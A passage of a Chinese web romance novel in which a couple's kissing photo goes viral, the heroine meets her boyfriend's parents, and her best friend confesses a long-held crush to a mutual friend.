舒以宁看着这张立体俊朗的脸庞,莞尔一笑:“我还有什么是能和你交换的。”光看着这张脸,就什么都愿意给他了,更何况还有西装衬衣下包裹着、每一寸都长在她癖好点上的身体。 商聿行抬了下唇角,眸色温柔:“明明我才是舒小姐的裙下之臣。” 到了地点,商聿行绕到另一侧,亲自为舒以宁拉开车门。 高跟鞋伸出车门,落到了地面上。 商聿行伸手扶住她。 三月下旬H市春意盎然,路边的樱花树姿态舒展,粉白色樱花开满了枝桠。 银色涂装的布加迪旁,他们在夜色中接吻。 ** 接吻照很快就出现在了社交平台上,以迅雷不及掩耳之势传播开来。 当天午夜一过,网上舆论就铺天盖地的炸了。 [u1s1,论氛围感我还是更磕这对。] [从此以后,高干小说有了脸。] [呜呜呜,一开始羡慕姐姐吃这么好,然后羡慕秦延昭吃这么好,现在才发现还有更好吃的。] [她身上那条裙子,H市一套房。] 网友评论中也不乏阴阳怪气的,但很快就淹没在了吃瓜群众里。 高赞评论: [没人奇怪吗,秦延昭恋情曝光昨天刚上热搜,今天马上就有了这组照片?而且这个角度,这个画风[滑稽笑]] [这就是霸总的独占欲吗?哇哇哇,好激动。] 一小时后,秦延昭工作室发了声明:[友人聚餐,秦延昭先生为给舒小姐造成的不便而感到抱歉。感谢大家关心,顺祝祺安。] 舒以宁也终于联系上了失联的许夏天。 “墨脱?你去墨脱了?” 许夏天的声音里带着自由的风:“是呀,我也不知道什么时候回来,先待一段时间再说吧。” 她不忘调侃舒以宁:“我看到你和商聿行的照片了,不愧是商聿行啊,占有欲这么强的。怎么样,这两天的床上运动是不是很带感?” 舒以宁佯装埋怨她:“我跟老秦被传了绯闻,你都一点不担心我。” 许夏天笑得没心没肺:“有商聿行在,不会有什么问题。秦……我哥工作室的团队也会有应对方案,夏夏除了给你们添乱,什么作用都起不到嘛。” 说到后面,她开始对舒以宁撒娇。 舒以宁:“我正好也没到墨脱玩过,我看看能不能……” “你可别来,不然我还得伺候你这个娇气大小姐。” 舒以宁叮嘱道:“那你保持通讯,不能再联系不上了。有事就打给我,不管我能不能解决。就像你说的,不是还有商聿行?” 许夏天:“我只是手机没电了,放心,有事我一定第一个想到你。” “那先挂了……夏夏,”舒以宁挂电话前,还是决定与她开诚布公,“老秦微信上和我说了你们那天晚上的事。” 许夏天并不意外,笑道:“我猜到了,你都没问我为什么突然来墨脱,我就知道他肯定和你说了。” “不管怎么样,我永远站你这边。” 许夏天拖长语调:“好啦,知道了知道了,别为我担心。” 五人小群里,王樾率先发现秦延昭不知道什么时候已经退群了。 王樾:[老秦呢?怎么回事?发他消息也不回。] 王樾:[@许夏天] 没有人理他。 他在群里发了一会儿疯,疯狂@舒以宁和楚思然,最后被楚思然一句“闭嘴”语音弄消停了。 商聿行这边不出所料地接到了母亲的电话。 “秦延昭绯闻那个事,今天上热搜的照片是你?” 商聿行知道她最近沉迷追星,比较多关注社交平台。 商聿行承认:“是我。” 她一下子激动了:“你谈恋爱了?” 商聿行:“嗯,舒家的女儿,您见过的。舒沣的孙女。” 时虞对舒家女儿只有个模糊印象,不外乎是宴会上觥筹交错间长辈带着晚辈来敬酒。 “似乎是个很漂亮的女孩子?”她问道。 商聿行笑了笑:“是很漂亮。” 时虞听出他语气中的愉悦,试探道:“那什么时候方便的话,带回家来吃个便饭?” 商聿行说:“我问问她的意见。” 时虞欣慰道:“好,确实要尊重人家女孩子的想法。” 她提起:“你这个男朋友做得不够格,怎么放任人家小姑娘的绯闻传到网上去了?阿行,妈妈知道你没有谈过恋爱,不会照顾人,但……” 时虞喋喋不休地说了他十来分钟。 商聿行认错,答道:“我以后会注意的。”他绝口不提父亲的手笔,也明白,父亲此举就是为了逼他带舒以宁回去。 ——母亲开了口,他不可能不答应。 晚上商聿行回到家,一眼就看到了玄关处摆着的相框。 是昨夜他们被拍的那组樱花树旁接吻照中的其中一张,他占据了照片的主镜头。 伟岸修长的身高,腰线窄而利落,单手握着怀中人柔软的腰肢。 配着朦胧夜色,当真是充满了氛围感。 商聿行不由顶了顶腮,眸色微微浓了两分。 他换了鞋往里走。 舒以宁正靠在沙发里看片子,听见他回来,转过头来粲然一笑:“你回来了啊,商聿行。” “嗯。”商聿行走到她旁边坐下,问起玄关的相框:“怎么不挑张其他的?” 那组照片中,有两张特别凸显她美貌的镜头,也有他们深情拥吻的氛围照。 “我觉得我挑的这张就很好。”舒以宁笑着去看他的眼睛:“你故意的是吧?想和我一起上热搜?” 她讲腿舒舒服服地搁在他的大腿上。 商聿行垂眸给她揉了揉小腿,“总不能放你和其他男人挂在热搜上,看着碍眼。” 舒以宁真心夸赞道:“这组照片偷拍的不错,跟偷拍我和老秦的那个狗仔水平不相上下。” 商聿行风轻云淡:“嗯,知道你喜欢,花钱找他拍的。”—— 作者有话说:商聿行:在和lp的CP感这方面,我绝对不能输 第63章 当代网友擅长在网络世界中寻找蛛丝马迹,随着两轮热搜的爆火,很快就有人在许夏天的短视频账号看到了舒以宁的身影。 [有个博主叫无尽夏,今年发布的520视频里有个贼漂亮的小姐姐,好像就是上热搜这位。] 一时间,网友蜂拥而至。 有虚惊一场、松了口大气的秦延昭粉丝,也有刷到微博照片后感叹舒以宁美貌的吃瓜路人。 视频中,舒以宁配合许夏天完成了与“纸片人”约会的cos委托。 舒以宁cos的是某个女性向恋爱乙游中的长发未定性别主角。 许夏天在视频最开头就先一本正经地鞠了个躬:“我的闺蜜不是专业coser老师,只是满足我的心愿陪我度过一个520,还请各位同担姐妹轻喷。” 当时评论区就一水的队形:[姐姐百合吗?] 新热评一条条冒出来:[原来是这个小姐姐啊,当时这条cos就在我们同担小圈子里小火过一把。] [这cos的哪里是%&*,明明是ttttt] [点了点了。] [集美们,我好像发现了一个大瓜……指路视频关键词“中秋”、“绣球”、“晚霞”。] …… 就在网友扒出蛛丝马迹的第二天,秦延昭发了微博。 他在微博中写:[舒小姐是我自总角至今的至交好友之一,友情坦荡,希望各位朋友停止对她的打扰。] 同时表明:[而我确实很早就有了心仪的女孩,只是,她拒绝了我的告白。世间男女之事讲究一个缘分,更讲究情投意合,在此衷心祝愿诸位得偿所愿、有情人终成眷属。] 最后,他表示经过慎重决定,在结束手头已经定下的工作以后,将会退出娱乐圈,永不复出。 毫无意外,这条微博发出不到半小时就被推上了微博热搜。 后面的事舒以宁没有再关注了,她问商聿行:“你说,老秦是不是要回来接管家业了?” 趁着这波舆论,顺势退出娱乐圈,平息一切闹剧,回归既定的人生路线上来……倒也不是没有可能。 虽然商家与秦家有生意上的往来,但商聿行与秦延昭接触不多。 他略一思忖,说:“这不仅得看他自己的意思,能不能服众,更重要的还是看能力。” 舒以宁嫌和他说话没意思,转头就打开手机找楚思然聊天。 过了一会儿,她听见商聿行说:“要不,我们来猜一猜他写的心仪女孩子是谁?” 舒以宁抬眸看他,忍不住笑道:“商聿行,你没有必要勉强自己陪着我八卦的。” 商聿行微微颔首。 确实,他只是想找个她感兴趣的话题。 于是他便安静坐着,一直等到她与楚思然聊完天、收起了手机。 商聿行:“我母亲希望我可以带你回去吃顿便饭。” “啊,哦,好啊。” 舒以宁知道闹这么大,商聿行父母肯定知道了她的存在。那么,想要见一见她也是理所当然。 周末,舒以宁随商聿行到古北公馆拜访。 “这就是以宁?” 舒以宁笑着喊了声“伯母”。 时虞穿着一袭典雅的香云纱旗袍,外面罩着一件刚过去的那场巴黎时装周上惊艳满座的秀场大衣。 她拉着舒以宁的手坐下,保养得丝毫看不出年纪的脸上神态端庄优雅。 然后温温柔柔地问出那一句—— “你追星吗?” 舒以宁猝不及防,懵了一下:“啊?” 商聿行不由轻笑,开口对时虞说:“您别吓着她了。”说完,他又看向舒以宁,说:“我母亲性情随和,你不必拘束。她问你追星的事,没有别的意思,只因她个人有追星这项爱好。” 舒以宁迎上时虞满怀期待的眼神,想了想,说:“我对娱乐圈不太了解,不过我有个朋友是做演员的。不知道您有没有听说过,他叫秦延昭。我和秦延昭,还有其他几个朋友是从小一起长大的。” 时虞双眸蓦地一亮:“那就是青梅竹马?” 舒以宁:“……不算吧。” 时虞拍了拍她的手,笑道:“以宁,别紧张,我们就是随便聊聊天。我知道你和秦延昭之间只是普通朋友,网上的八卦消息我一直都有刷。” 舒以宁跟着点点头,紧接着,就听见时虞笑眯眯说出下一句话—— “我是肖寂粉丝。” ** 趁着时虞去洗手间的工夫,舒以宁终于忍不住放低声音问坐在一旁的商聿行:“你知道你妈妈追肖寂吗?” 商聿行淡淡抬眸,给了她一个“你觉得我不会不知道吗”的眼神。 舒以宁:“你父亲还挺开明啊,那我可不可以……” “舒以宁。”商聿行笑了下,打断她没说完的话。他的眸色很黑,就这么直勾勾地盯住她:“你可以什么?嗯?” 舒以宁默默闭上嘴巴。 又不是想问可不可以和你母亲一起追星肖寂。 她只是想问那我可不可以和你母亲聊关于肖寂在R&F驻唱时候的事情,以此拉近一下彼此之间的熟悉程度。不过经他这么一打岔,她顿时已经事先感觉到了不合适。 最终,舒以宁还是求生欲十分旺盛地又张开嘴巴解释了一句:“我没想追星,我早就不喜欢他了。” “嗯,你后来喜欢那男孩,沈嘉树。” 舒以宁一个头两个大:“……别提这些有的没的了,也不喜欢沈嘉树,我只喜欢你,可以了吧?” 不同于商聿行的内敛,舒以宁的感情总是不惧外露的。除了那阵处于纠结状态的时间段之外,她从不避讳将“喜欢”宣之于口。 但很显然不是现在。 她对于他这种不分场合的无理取闹十分不满:“你都快三十岁的了,还天天这么幼稚。” 商聿行笑了笑,不作反驳。 他只是看她太紧绷了,不免就想要逗一逗她。 ** 时虞以上洗手间为借口,推开了三楼书房的门。 “还要我等你多久?以宁第一次来家里,你非要摆架子是吧?” 她站在书房门口,没有走进去,隔着迂回的苏绣非遗屏风冷冷道:“商砚廷,出来。” 妻子下了最后通牒,商砚廷自然无法装聋作哑。 他从屋内缓缓走出,绕过屏风,淡笑着搂住时虞的腰,“看来你对那孩子很满意?” 时虞从他的臂弯中挣开去,严肃地看着他,说:“阿行头一次带女孩儿回来,我不管你满不满意,反正就目前而言我和阿行都很喜欢以宁。商砚廷,你别没事找事。” 商砚廷淡淡一笑,心道,今天见面的事本就是他一手促成,他又何来不满意之说? 毕竟,能让他那个看似毫无软肋的儿子陷入七情六欲之中,可不是一件容易的事情。 父与子之间的理解兴许道阻且长,但,他相信商聿行迟早会有感同身受的时候。并且他毫不怀疑,他那个好儿子早已内心挣扎过不知多少次了。 当权力与欲望交织,商砚廷不认为他会永远忍得下去。 第64章 家里有电梯,但平时商砚廷时虞夫妇都更喜欢走旋转楼梯上下。从三楼到二楼,时虞再三叮嘱商砚廷收收他身上的“封建大家长”气质,强硬地要求他脸上带一个和善的笑容。 到了二楼,时虞主动挽上商砚廷的胳膊,一脸温婉大气地走在他身侧下楼。 商砚廷微微一笑,顺着她的动作曲起手臂。 舒以宁听见商聿行说“我父亲母亲下来了”。 接着,她顺着他的目光往旋转楼梯看。 首先对上的就是商砚廷漆黑深邃的沉眸。 很难形容这是一种什么样的感觉,舒以宁微微怔忪之间,他已经移开目光,正低头浅笑着和身侧的妻子说着话。 商砚廷很显年轻,看上去刚过不惑之年,有一种掌控全局的气势在身上。 在商父商母走近之前,舒以宁就赶紧站起身,摆出一个作为晚辈的乖巧姿态。 商聿行也起身走到了舒以宁身侧,不动声色地往前了半步,隔开她与商砚廷这侧的距离。 舒以宁乖巧喊人:“伯父,伯母。” 商砚廷微微颔首,依旧是不苟言笑的样子:“坐。” 商砚廷在场,能聊的话题实在有限。时虞让佣人取来几本商聿行年幼、年少时候的相册,与舒以宁坐在一道翻看。 “这是阿行六岁,参加小提琴比赛。没拿第一,赛后还哭鼻子了呢。”时虞忍俊不禁,看了一眼商聿行,感慨道:“一眨眼都长这么大了,跟他父亲一个样,整天板着张脸,没意思极了。还是小时候可爱,会粘着我要抱抱呢。” 商聿行笑,“如今只怕您抱不动我了。” 时虞瞪了他一眼,轻嗔:“要你贫嘴!” 保存完好的相片上,六岁的小小商聿行穿着黑色燕尾服拉小提琴,肉嘟嘟婴儿肥的脸蛋上满是认真与投入。唇角抿得很直,足见其紧张。 舒以宁又仔细地看了几张,忍不住露出笑容来。 时虞见她感兴趣,笑眯眯问道:“是不是很可爱?这本里也有,来,我们看这本。” 看完幼年时期的照片,又看了少年商聿行。 彼时十五岁的商聿行未褪青涩,高高瘦瘦的,长相上已经初具如今的英隽非凡。拍的是一张他打棒球的照片,他微微抬着高傲的下颚骨,少年意气在他身上展露无遗。 没有十六岁与十七岁,十五岁之后就是十八岁的高中毕业典礼照片。 十八岁的商聿行已经长得一派沉稳卓然,站在毕业典礼的演讲台上,举手投足间都是卓尔不凡的矜贵气质。 “后面长大了,就越来越不肯拍照了。”时虞莞尔,对舒以宁说:“以后就要靠你了,以宁。多拉着他拍些照片,我给你俩专门做几本相册出来。” 舒以宁听懂了时虞的意思。 这时,商聿行开口笑道:“拍不到我的照片,您这是要找外援了?改天我回来专门给您拍,您要我怎么拍我就怎么拍,绝对配合,毫无怨言。” 时虞笑道:“还得是以宁在,看,拍照都松口了。” 吃过晚饭,商聿行上楼随商砚廷进书房下棋,舒以宁陪时虞在花园里走了走。 舒以宁虽然不追星,但得益于秦延昭,所以与时虞倒也挺有话题聊。到了后面,时虞开始向她安利起肖寂来。 舒以宁总不可能自爆她与肖寂那段说什么其实没什么、但总归不太适合提起的过往,只好但笑不语。 时候不早了,时虞挺想让舒以宁今晚就住在古北公馆。只是头一回过来,不便留人姑娘夜宿。 回滨江世纪城的路上,舒以宁随口与商聿行闲聊:“伯母心态好年轻啊,也确实很喜欢肖寂,好在她不嗑肖寂和老秦的CP。” 商聿行笑道:“看来你和我母亲聊得挺投缘?” “是啊,她还非要问我知不知道老秦发的声明里,那个拒绝他的女孩子到底是谁。”当然,舒以宁以“不太清楚”为由没有继续这个话题,她总不可能将许夏天卖掉。 舒以宁顿了顿,问道:“你父亲似乎不太高兴?” 商聿行风轻云淡道:“不用管他,他向来如此。” 舒以宁坦言:“你父亲给人的感觉充满了久居高位者的气质,气势很足,我都不太敢正眼看他。你小时候,他对你是不是很严格?” 商聿行:“嗯,高要求高标准。不过有我母亲在,她护得住我。” 舒以宁问道:“所以你是典型的中国式严父慈母家庭出身?” 商聿行摇摇头:“可能也不是。我的家庭关系说简单很简单,说复杂也有点复杂,以后有机会再细谈。” 这句话便是当下不想多谈的意思了。 舒以宁没有追根究底的爱好,更不会去强人所难,何况这个人还是她的爱人。她轻易转移了话题,感慨起不知道许夏天在西藏玩得怎么样了。 而在舒以宁见完商聿行父母的第二天,许夏天从墨脱回来了。 见了面,许夏天无奈笑了笑,说:“我接了几个商演,你知道的,我妈花销比较厉害……总不能一直靠着别人过活。正好出cos本身就是我挺喜欢的领域,又能赚点零花钱,何乐而不为嘛。” 舒以宁笑道:“那你有需要我配合出境的地方,尽管提。” “当然!你现在流量可不小,下次我给你录个霸总小娇妻的一日日常怎么样?”许夏天一边开玩笑,一边点开了自己的账号。 点赞、评论、私信顿时如雨后春笋般冒出来,手机都快卡住了。 舒以宁告诉她:“有人从你视频里猜出了你和老秦有关系,但正好没一会儿老秦就宣布了要退出娱乐圈,所以你那里也就没有发酵起来。你自己小心一点,看要不要从兄妹角度做一下模棱两可的解释。” 除了老秦的微博之外,还有就是这回商聿行的人出手非常快,迅速联系平台那边对相关的评论做了降重处理。 “再说吧,没什么模不模棱两可的。”许夏天抬眸看向舒以宁,弯眸一笑:“虽然这么说可能很绿茶,但我和秦延昭之间本身就只是单纯的兄妹关系。我虽然在网上喜欢嗑嗑伪骨科,但没有付诸实践的想法。” 舒以宁抿了一口抹茶拿铁,用十分不经意的语气随口说起:“邢南那里有我能帮得上忙的地方吗?” 许夏天:“嗯?邢南怎么了?” 舒以宁放下杯子,笑眯眯看着她。 不言而喻。 许夏天死鸭子嘴硬:“你看着我干嘛?不是在说邢南吗?” “行吧。”舒以宁没有对朋友追根究底的爱好,转而与许夏天说起商家的事情:“我见过商聿行父母了。” 许夏天惊讶了一下,问道:“你们这是……?” 都走到见父母这一步了,那岂不是就说明要定下来了? 与圈子里其他人不同,许夏天倒不怎么惊讶商聿行想娶舒以宁这件事,毕竟在她这个舒以宁头号闺蜜看来,任何一个男人喜欢上舒以宁都是一件极为正常的事情。但—— 以宁怎么突然愿意步入婚姻的坟墓了呢?? 舒以宁解释道:“不是你想的那样,只是我和老秦不是被拍到了嘛。” 她仔细跟许夏天讲了讲来龙去脉,以及没想到商聿行母亲竟然是肖寂粉丝这个事实。 许夏天相当不合时宜地想问一句—— “你觉得商聿行他妈妈会更嗑你和商聿行还是你和肖寂?” 她还在纠结要不要问,舒以宁已经看出来了她的想法,叹道:“你觉得我是能去问商聿行这个事还是能去商聿行母亲面前自爆我和肖寂那点往事?” “确实。你还是别说了,不然我怕商聿行会发疯。这个世界还真是抓马,能给你遇上个喜欢前追求对象的男朋友妈妈。” “别瞎用你那破形容词了,你又不是不知道那狗东西狗起来能有多过分。” 许夏天没有调侃她,而是一脸担忧地问道:“那以宁,你会考虑和商聿行结婚吗?” 舒以宁闻言,缄默了下来。 许夏天缓缓道:“我可以看得出来,他挺喜欢你的。你不是也很喜欢他吗?既然你们彼此相爱,又没有其他阻力,倒不妨试着更进一步。大不了离婚就是了,这不就跟分手没什么两样么。还是说,你怕他到时候不愿意离?” 舒以宁其实也不止一次地想过这个问题,特别是在商聿行那个暗含期待却又瞬间冷漠下来的眼神过后。 只是,她实在过不了自己心里那一关。 “既然结不结婚没什么两样,那又为什么要结婚呢?除了给两个人之间的关系加上一层束缚之外,什么都改变不了,不是吗?” 更何况,这层束缚往往都是于女性而言。 男性在这方便的道德底线总是低上不少,就像圈子里出轨、找外围的二代们比比皆是。 婚礼上再动听再感人肺腑的誓言,到了违背的那一刻,恐怕最多也就心生出半分的愧疚来了。没有人可以保证自己永不变心,说出口的誓言也不过只是那一刻的真诚。既然如此,那为何不就好好享受一刻的真诚与汹涌的爱意呢? 谈什么以后。 太虚无缥缈了。 没有人有资格为未来的自己担保。 舒以宁不相信未来的商聿行,同样,也不相信未来的自己。 “你说的也是,其实只要两个人商量好了就行,就怕一个人非要结婚,另一个人却是坚定的不婚主义者。”许夏天笑了笑,突然说:“你为什么会觉得我喜欢邢南?” 她的话题转换得太快,就这么十分直白地就转了回来,毫无半点拐弯抹角。舒以宁不由愣了会儿,隔了快一分钟才回过神,笑道:“终于承认了?” 许夏天寸步不让:“我这不是在问你为什么会这么以为?” 舒以宁:“哦,那你就是不喜欢他,是我误会你了。我还以为那次你是故意喝醉酒,想赖上他呢,原来是我以小人之心度你许大美人的君子之腹了啊。” 许夏天第一时间没想反驳也没想解释,而是不敢置信地瞪大眼眶,质问道:“那你还非带我回家?舒以宁,我现在都还没睡上邢南,这里头的责任你得占百分之九十九以上!” 舒以宁莞尔。 许夏天简直气成河豚,腮帮子鼓起瞪着她。 舒以宁笑着跟她说:“一切都只是我个人单方面的猜测,当时你又醉成那副样子,我总不能因为一个猜测就把你扔给他。谁让你不提前跟我通气?如果你直说要我帮你,我肯定竭尽所能,把你俩锁酒店房间去。” “舒以宁!” 舒以宁笑道:“我一开始也就只是停留在猜测,好几次都在想是不是我自己想多了,我们夏夏可不像是会为了男人寝食难安的人。” 听到这里,许夏天安静地坐了回去。 舒以宁见她垂着眼一副可怜兮兮的模样,不由叹了一口气,“所以,你是真的喜欢他,是吗?” 许夏天绞着手指,低眉顺目,开口的声音很轻:“是啊。以宁,不怕你笑话,这么多年来除了他以外,我就没有喜欢过别人。我知道我不是他喜欢的类型,所以,我也一直有在努力尝试去喜欢别的人……可是,我好像真的没有办法去喜欢别人。” 他的空档期总是很短,女朋友换了一个又一个的,用网上的玩笑话来形容就是—— 唧唧怕黑,不敢一个人睡觉。 隔了段时间看见他,他的身边都是围绕着不同的莺莺燕燕。 许夏天深知自己是个胆小鬼,没有勇气跨出这一步走到他身边去。更怕被拒绝,怕被拒绝后连朋友都没得做。 舒以宁坐了过去,伸开手臂抱住她。 夏夏没有说出口的纠结与悲伤,她心里边都知道。 “邢南确实是一个很好的人,你会喜欢他是一件再正常不过的事情了。你也是一个很好的人,不管他喜不喜欢你,你都是一个很好的人。夏夏,我会一直陪着你,做你永远的好朋友。” 许夏天眼眶渐渐有点湿,将下巴靠在舒以宁肩膀上,抽了抽鼻子:“那你觉得,我应该去向他告白吗?” 舒以宁直言不讳:“如果是我,我会去。说了,至少是给自己一个机会。哪怕他拒绝我,我也可以再想办法。要是实在不行,就干脆心灰意冷,也好换个人喜欢。但我也理解你不想踏出这一步的忧虑,你比我长情,我……比较渣。” 许夏天立马说:“不许你这么说。” “我的意思是我进入一段两性关系后,比较容易厌倦。”舒以宁摸了摸她的头,柔声说道:“不管怎么说,夏夏,只要你开口,我都愿意为你鞍前马后。哪怕你十分钟内就要他出现在你面前,我都马上让商聿行把他绑过来。” 许夏天“噗嗤”笑出声,“那倒也不用这么夸张。” 她抬起头,看着舒以宁,一双明亮的眼睛水汪汪的:“以宁,我不敢直接和他说,你帮帮我。” ** 舒以宁于是把邢南约出来打网球。 她先打了一个半小时就体力不支,换商聿行上场和邢南打。 邢南消耗了一部分体力,又和商聿行打了一个小时,很快就被打得节节败退。 两个男人都从场子上下来,舒以宁给他们递了白毛巾。 邢南接了,商聿行没接,垂眸等着她动作。 舒以宁伸手胡乱给他擦了两下,就把毛巾丢给了他:“自己擦。” 她转过身,看向一旁的邢南:“夏夏喜欢你,你这边怎么说?” 邢南仰着头,正用手里的白毛巾擦脖子里源源不断淌出来的汗水,皱了下眉头:“谁喜欢我?夏夏?” 舒以宁汗出得没他们两个男人多,这会儿早干了。 她玩着毛巾,应道:“嗯,夏夏。” 邢南一开始以为是自己听错了,又一次听到舒以宁口中出来“夏夏”两个字后,他擦汗的动作一下子变得慢了起来,似乎是在思考什么。 过了一会儿,他才再度向舒以宁确认:“你是说,许夏天喜欢我?” 他的神情十分认真,问出口的话缓而慢。 舒以宁于是也十分认真地告诉他:“夏夏喜欢你很多年了,这段暗恋也是时候有个结果了。你要是也对夏夏有意思,那你们就试着接触一下;如果没那意思,也趁早讲清楚。当然了,如果你有什么其他想法,就说出来我们一起讨论看看。” 她停顿少许,不无感慨道:“夏夏从来没有谈过恋爱,她喜欢你这个事,应该不止五六年了。”对着一个万花丛中过的男人,玩最纯情的暗恋那套。 邢南一时间没有说话。 他是真的没想到,许夏天会暗地里喜欢他这么好多年。 商聿行揉着舒以宁肩膀,低眸开口:“给他点时间考虑吧。” 分开前,邢南对舒以宁说:“让夏夏今晚来R&F吧,有什么话让她自己当面和我说。”—— 作者有话说:后面不会写邢南和许夏天以及秦延昭的事,只带过一下 第65章 “你觉得,邢南和夏夏会在一起吗?”深夜,舒以宁靠在商聿行胸膛上,问他。 “不会。”商聿行言简意赅。 在他匮乏的情感经历中,他始终认为感情是从一而终、不可将就的存在。没有什么“试一试”这种说法。 舒以宁从他身上起来,提议:“那我们来打赌?” 商聿行将她拉回来搂在怀里,轻轻道:“打赌的事一会儿再说。以宁,我们找个时间去看看你母亲吧?” 下周就是清明节了。 按照H市这边的习俗,扫墓得在清明前两天去,不能赶在当天。 “啊。”舒以宁本打算明天午间自个儿去一趟。他既然提了,她也就只好答应:“好啊。”毕竟,她已经见过他的父母,让她的母亲见他一面,也不是不行。 商聿行听出她答应得勉强,但他佯装未觉,只紧了紧手臂抱紧了她。 他们这一晚没有做到最后,相拥而眠,各自怀揣心事。 一整个上午,舒以宁都忍着没去问许夏天后况。 到了中午,她终于按捺不住了,一条微信小心翼翼地试探:[起床了吗?] 许夏天回得很快:[终于忍不住给我发消息了啊,哈哈哈哈] 许夏天:[在一起了。] 她没卖关子,直接打了这四个字。 舒以宁抛出虎狼之词,怕她不好意思,没打电话过去,依旧发的文字消息:[睡了?] 许夏天:[震惊.jpg] 许夏天:[我们昨晚才刚刚在一起,苏小宁!你怎么可以这样想我!] 舒以宁莫名松了一口气,给她回了个跳跃着的小兔子表情包。 ** 舒以宁的祖父与母亲都葬在北山陵园,环境清幽,风水格局优越。舒老爷子生前在这里买下了一片家族墓。 二人先祭拜舒老爷子舒跃章。 舒以宁介绍商聿行时,用上了“我的男朋友”五个字。 堂堂正正,给了他一个名分。 然后祭拜母亲舒芃锦。 商聿行将鲜花摆在贡品旁边,轻启薄唇:“伯母,我与以宁真心相爱,希望可以得到您的祝福。” 舒以宁看着他棱角分明的侧脸。 商聿行似乎感觉到了她的目光,回过头来,朝她浅浅勾唇。 他的黑眸一如既往的漆黑如渊,许许温柔从瞳孔深处滋长出来,所有汹涌的深情爱意都沉淀在宁静的凝视中。 舒以宁心口一窒。 仿佛整颗心脏都在这一刻被无形的爱与包容所包裹、束缚。 无形的束缚。 舒以宁上午在西岸弄展览的工作,下午还得回去继续开会。 商聿行让司机先开去西岸。 回西岸的车程不短,舒以宁一路都没有说话,时而望着车窗外掠过的风景,时而低头打字回消息。 商聿行看出她情绪有些低落,但他以为,她只是因为思念亲人,感时伤春。 下车前,他抱住她的脑袋亲了亲,承诺道:“以宁,不管什么时候,我都会站在你身后。” 舒以宁很想感动。 但她实在感动不起来。 她很想煞风景地说一句“说不定哪一天我们就分开了呢”,但这句话究竟会引起怎样的杀伤力是不可预见。 况且,她现如今依旧还很喜欢他,没有半点倦意,那就……先这样吧。 在一起一天是一天,只顾眼下。 舒以宁想起来还没和商聿行说:“夏夏和邢南在一起了。” 商聿行并不意外,“嗯。” 舒以宁打量他的神色,问道:“你怎么一点都不惊讶的?昨晚你不还猜他们不会在一起吗?” 商聿行看着她,薄唇轻启:“我和他是两个独立的个体,他会接受许夏天的感情,我只会接受你的。” “什么你的我的。”舒以宁只觉得此刻他微微透着健康血气的薄唇瞧上去特别好亲。她脑袋靠近他,樱唇往他唇角吧唧了一口,一触即离。 “五点记得来接我下班。”车门开了又关上了,旁边车座变得空荡荡。 残留着她身上好闻的香气。 商聿行低头揉了揉眉骨,不由笑了一下。 他自然看得出来她方才故意勾引他的那点小心思。 仗着这会儿他不会对她怎么样,耀武扬威。 明媚,灿烂,香气袭人。是独属于她本真的香。 司机等了一会儿才出声请示:“总裁,现在回公司吗?” “嗯,开车。” ** 舒以宁没有去追问许夏天与邢南之间的恋爱是怎么谈的。 以许夏天资深的二次元小黄丫经历与邢南多年的感情经验,不消多想,肯定是惊险又刺激。 而她,光应付一个出自邢南师门下的商聿行就精力交瘁了—— 舒以宁至今依旧错误地认为商聿行这狗东西自第一次之后的成长都是来自好兄弟邢南的教导。 现代大都会色彩展的项目时间不宽松,舒以宁几乎日日都要去西岸工作。每日五点钟,商聿行都会准时来接她下班,然后车子开回商盛,她陪他加班到七八点钟。 又过了一周,色彩展的前期策划与产品筹备终于尘埃落定,舒以宁终于得以喘两口气。商聿行这边工作向来都忙,会议一个接着一个,比她更是辛苦得多。 邢南打电话问她怎么这阵子都不见她与阿行来R&F,她据实以告。 邢南:“那找个时间一块儿吃饭呗,江野过两天回来呢,挤点时间出来聚聚?” “我这儿是没什么问题,暂时休息了。我一会儿和商聿行说一下,他这阵子有点忙,昨晚开会开到凌晨两点。”就这,还要闹醒她,把她欺负到了快五点钟。舒以宁在心里默默地又把这狗东西给骂了一千遍。 “行,我们配合你俩的时间。”邢南知道商聿行最近在忙跨境并购和西欧战略布局的事情。 舒以宁随口问了句他和许夏天的事情:“和夏夏,你们相处得还合适吗?” “挺愉快,前两天刚陪夏夏去长沙玩了个漫展。她出了个cos,和我说这个叫大喷菇。”说完,他爽朗地笑了起来。 下一秒,他听见电话那头传来商聿行的声音,在问舒以宁:“邢南的电话?” 舒以宁的声音听起来很高兴,对商聿行说:“是啊,他说你是大喷菇。” 邢南:“?” 邢南当即对着电话那头喊:“喂喂,你俩调情就调情,不带拿我当工具人的啊!” 商聿行接过电话,“有事?” 邢南义愤填膺:“以宁她就是离间我们兄弟感情!” 对面笑了一声,慢悠悠回道:“嗯,别气,我知道。我帮你教训她。” 邢南:“?” 他忍不下去了,咬牙切齿挂断了电话。 他本来想说那你可得好好抽她一顿,但越想越气,还好挂了电话。 不然还真变成人小情侣调情的工具人了。 ** 前阵子清明前祭祖,楚江野在国外跟项目回不来,这次回来后在北京呆了两天就赶紧来了趟H市。一来家里其他人虽然之前回来祭扫了,但他怎么也得来一趟;二来,和兄弟几个也许久未见了。 回来当晚,他就跑来邢南这儿喝酒。 商聿行有跨国会议,承诺明晚再为他接风洗尘。 喝了两杯酒,楚江野拿起桌上的烟盒看了看,又看向邢南手中细长的卡比龙,笑道:“你以前不是嫌这烟口感淡、不好抽?” 邢南深吸一口,吐出长长的烟圈,“是啊,不好抽。” 但好看,小姑娘爱看。 楚江野把烟盒放回酒瓶旁边,幽幽道:“忘不掉她?” “嗯?谁?”邢南毫不在意地掸了掸烟灰,笑骂一句:“放你狗屁。” 他又吸了一口气,仰着头看着自己吐出的烟雾,吐一口,停一下,再吐一口,一团一团。然后,他说:“我和夏夏在一起了。” “夏夏?哪个夏夏?”楚江野顿了顿,“你别跟我说是许夏天啊。” 邢南一门心思吹着烟玩儿,眼睛都没转动半下,嘴上淡淡回道:“嗯,是她。” “卧槽?她不是和她哥秦延昭是一对么?” 楚江野震惊了,竟然还有他楚江野楚上帝视野看走眼儿的时候?? 邢南无所谓道:“她好像不喜欢秦延昭。”至于秦延昭喜不喜欢许夏天,他倒是不太在意。亲情爱情,总归都是感情。 他靠在沙发上,仰头一个劲地吹着烟圈,眉眼在烟雾中影影绰绰,莫名给人一种孤寂的感觉。 楚江野不由骇然。 要知道这可是邢南,二十八年来活得恣意洒脱、连眉头都没皱过几下的邢南。他总是大大咧咧的,讲义气,有担当,谁都愿意来结交他这个朋友。他身边从不缺人,不管是朋友还是伴侣。 因此,“孤寂”这个词着实很难与他沾边。 